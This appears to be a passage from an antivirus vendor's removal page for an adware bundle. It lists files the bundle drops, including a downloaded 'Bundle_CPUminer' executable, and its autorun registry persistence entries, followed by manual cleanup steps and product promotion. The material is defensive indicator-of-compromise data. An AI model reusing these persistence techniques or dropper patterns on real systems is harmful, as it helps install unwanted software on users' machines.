%Documents and Settings%\%current user%\Local Settings\Temp\nskB.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj7.tmp (7384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskA.tmp (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskC.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqD.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2835.exe (14988 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb3.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn4.tmp (9771 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd5.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-H57RU.tmp\nsd3C.tmp (3779 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\GAMESDESKTOP\GamesDesktop.lnk (812 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-73DD7.tmp (8657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-QHO3I.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-F8943.tmp (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\encrypt.exe (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\_isetup\_shfoldr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe (23062 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-FI91J.tmp (15278 bytes)
%Program Files%\gmsd_re_005010082\unins000.msg (375 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\itdownload.dll (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.7z (7433 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\CheckProc.cmd (288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.7z (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.7z (8657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\ex.bat (1564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-OHVJR.tmp (7433 bytes)
%Program Files%\gmsd_re_005010082\unins000.dat (29081 bytes)
%Program Files%\gmsd_re_005010082\gmsd_re_005010082.exe (29430 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.7z (15278 bytes)
%Program Files%\gmsd_re_005010082\is-SLOUM.tmp (22284 bytes)
%Program Files%\gmsd_re_005010082\predm.exe (2321 bytes)
%Program Files%\gmsd_re_005010082\gamesdesktop_widget.exe (77294 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ebay.ico (55 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ted.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\msn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\espn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\pinterest.ico (39 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tumblr.ico (40 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\utility.exe (14988 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\linkedin.ico (37 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\groupom.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_mail.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\amazon.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\kayak.com.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\chrome.packed.7z (1424068 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ebay.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\huffingtonpost.ico (1909 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gizmodo.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\cnn.ico (45 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gmail.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bing.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_finance.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\tripadvisor.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\facebook.ico (3913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bbc.ico (35 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\hotels.com.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\etsy.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\mail_live_msn.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\huffingtonpost.ico (49 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ted.ico (57 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\weather_channel.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\agoda.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\forbes.ico (40 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_plus.ico (64 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\search.ico (57 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\netflix.ico (51 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\priceline.ico (53 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bestbuy.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_news.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\DD109E04-9249-4175-ABE-CCF37DDE4282\DD109E04-9249-4175-ABE-CCF37DDE4282.exe (14988 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\wikipedia.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\msn.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yelp.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yandex.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\walmart.ico (48 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\amazon.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_news.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\agoda.ico (61 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\target.ico (50 bytes)
%WinDir%\Tasks\MyBrowser.job (1966 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\linkedin.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\9gag.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\twitter.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_finance.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\youtube.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\mail.ru.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].004 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].005 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].002 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].003 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].001 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\gizmodo.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\weather_channel.ico (5593 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\tumblr.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\skype.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\groupom.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\theguardian.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_search.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bbc.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\espn.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_translate.ico (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\icon.json (21 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\reddit.ico (60 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail.ru.ico (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\priceline.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\9gag.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\reddit.ico (1917 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\imdb.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ipgeoapi[1] (40 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (313192 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\expedia.ico (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\gmail.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\pinterest.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\setup.exe (37305 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\hotels.com.ico (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nfl.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\icon.json (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nba.ico (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bing.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\booking.com.ico (45 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\theguardian.ico (42 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail_live_msn.ico (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\prefs (823 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\skype.ico (44 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\kayak.com.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_mail.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\netflix.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\expedia.ico (1921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\search.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\target.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\cnn.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yelp.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\walmart.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo.ico (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\imdb.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_plus.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\wikipedia.ico (55 bytes)
%WinDir%\Tasks\DD109E04-9249-4175-ABE-CCF37DDE4282.job (1656 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tripadvisor.ico (58 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nytimes.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ikea.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nfl.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bestbuy.ico (3913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\facebook.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yandex.ico (35 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nytimes.ico (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nba.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_translate.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\etsy.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\forbes.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\twitter.ico (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_search.ico (5593 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\youtube.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\booking.com.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\chrome.dat (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ikea.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.exe (92831 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.exe (31991 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.exe (1271 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.exe (24254 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.cyl (428 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@prof.youandmeandmeandyouhihi[1].txt (231 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@youandmeandmeandyouhihi[1].txt (182 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh37.tmp (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\CPUFeatures.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_CPUminer[1].exe (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl11.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi1F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn1E.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsfF.tmp (17738 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd33.tmp (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\7121923af824073a25b2b7e6ba0a6e0e[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1C.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\setup_gmsd_re[1].exe (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (60 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp19.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl10.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso34.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\df4a6a3ed77e60d6758afca091ca0c1f[1].exe (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\smt[1].exe (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1D.tmp (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss44.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy18.tmp (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy17.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Uninstall.exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq26.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\VISWHQk[1].exe (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu23.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd15.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd3C.tmp (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi38.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\vos[1].htm (979 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc43.tmp (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb12.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc14.tmp (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw13.tmp (979 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm28.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw42.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst20.tmp (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3D.tmp (15 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"gmsd_re_005010082" = "%Program Files%\gmsd_re_005010082\gmsd_re_005010082.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"upgmsd_re_005010082.exe" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe -runhelper"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

SpyTool.Win32.Ardamax_db205e63f2

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

SpyTool.Win32.Ardamax_db205e63f2

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet